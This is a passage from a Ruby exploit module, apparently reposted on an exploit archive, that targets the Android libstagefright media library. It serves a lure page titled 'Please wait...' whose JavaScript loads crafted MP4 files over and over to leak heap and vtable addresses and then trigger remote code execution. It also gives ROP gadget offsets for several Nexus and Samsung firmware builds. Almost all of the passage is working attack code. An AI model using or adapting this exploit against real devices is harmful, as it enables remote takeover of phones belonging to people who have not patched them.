    # Save the target for when they come back asking for this file
    # Also initialize the leak address to the first one
    @peers[mp4_fn] = { :target => my_target }

    # Send the index page
    mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
    html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video;       // the video tag
var to_id;       // timeout ID
var req_start;   // when we requested the video
var load_start;  // when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;

function duration_changed() {
  var now = Date.now();
  var req_time = now - req_start;
  var load_time = now - load_start;
  console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
  if (load_time > 2000) {
    // probably crashed. reset the entire process..
    near_sampiter_addr = -1;
    vector_vtable_addr = -1;
    waitTime = 6000;
    crashes += 1;
    if (crashes > 5) {
      console.log('too many crashes!!!');
      stop_everything();
    }
  }
  else {
    // if we got the near_sampiter_addr already, we are now trying to read the code pointer.
    // otherwise, we're trying to find near_sampiter_addr...
    if (near_sampiter_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.videoHeight != 768) { // XXX: TODO: parameterize
        if (video.videoHeight != 0) { // wtf? crashed??
          value = video.videoHeight;
          console.log('leaked heap pointer: 0x' + value.toString(16));
          near_sampiter_addr = value;
        }
      }
    } else if (vector_vtable_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.duration != 314) { // XXX: TODO: parameterize
        // zero means a value that could not be represented...
        if (video.duration != 0) {
          var value = Math.round(video.duration * 1000000);
          console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));

          vector_vtable_addr = value;
        }
      }
    }

    // otherwise, we just keep trying with the data we have...
  }

  if (error == false) {
    if (vector_vtable_addr == -1) {
      to_id = setTimeout(reload_leak, waitTime);
    } else {
      to_id = setTimeout(reload_rce, waitTime);
    }
    waitTime = 100;
  }
}

function stop_everything() {
  if (error == false) {
    console.log('---- GIVING UP!! ----');
    error = true;
  }
  if (to_id != -1) {
    clearTimeout(to_id);
  }
}

function start() {
  video = document.getElementById('vid');
  video.onerror = function() {
    console.log('  onError called!');
    stop_everything();
  }
  video.ondurationchange = duration_changed;
  //reload_rce();
  reload_leak();
}

function get_uri() {
  var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
  var uri = '#{mp4_uri}?x=' + rn;
  if (near_sampiter_addr != -1) {
    uri += '&sia=' + near_sampiter_addr;
  }
  if (vector_vtable_addr != -1) {
    uri += '&sfv=' + vector_vtable_addr;
  }
  return uri;
}

function reload_leak() {
  to_id = -1;
  var xhr = new XMLHttpRequest;
  xhr.responseType = 'blob';
  xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
      if (xhr.status != 200 || !xhr.response) {
        stop_everything();
        return;
      }
      load_start = Date.now();
      try {
        //var url = URL.createObjectURL(xhr.response);
        var a = new FileReader();
        a.onload = function(e) {
          //console.log('onload: ' + e.target.result);
          video.src = e.target.result
        };
        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
        a.readAsDataURL(xhr.response);
      } catch(e) {
        console.log('  ERROR: ' + e.message);
        stop_everything();
      }
    }
  };
  xhr.open('GET', get_uri(), true);
  req_start = Date.now();
  xhr.send();
}

function reload_rce() {
  to_id = -1;
  video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
    print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  #
  # Return some firmware-specific values to the caller.
  #
  # The VectorRVA field is extracted using the following command:
  #
  # $ arm-eabi-readelf -a libstagefright.so  | grep _ZTVN7android6VectorIjEE
  #
  def get_details(my_target)
    details = {
      'lrx' => {
        'VectorRVA' => 0x10ae30,
        'PivotStrategy' => 'lrx',
        'Pivot1' => 0x67f7b,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0xaf9dd,   # ldm.w r4, {sp} ; pop {r3, pc}
        'Adjust' => 0x475cd    # pop {r3, r4, pc}
      },
      'lmy-1' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-1',
        'Pivot1' => 0x68783,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0x81959,   # ldm.w r4, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'lmy-2' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-2',
        'Pivot1' => 0x6f093,   # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
        'Pivot2' => 0x81921,   # ldm.w r0!, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'shamu / LYZ28E' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e91,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'shamu / LYZ28J' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e49,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'sm-g900v / OE1' => {
        'VectorRVA' => 0x174048,
        'PivotStrategy' => 'sm-g900v',
        'Pivot1' => 0x89f83,   # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
        'Pivot2' => 0xb813f,   # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
        'Adjust' => 0x65421    # pop {r4, r5, pc}
      }
    }

    details[my_target['Rop']]
  end

end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum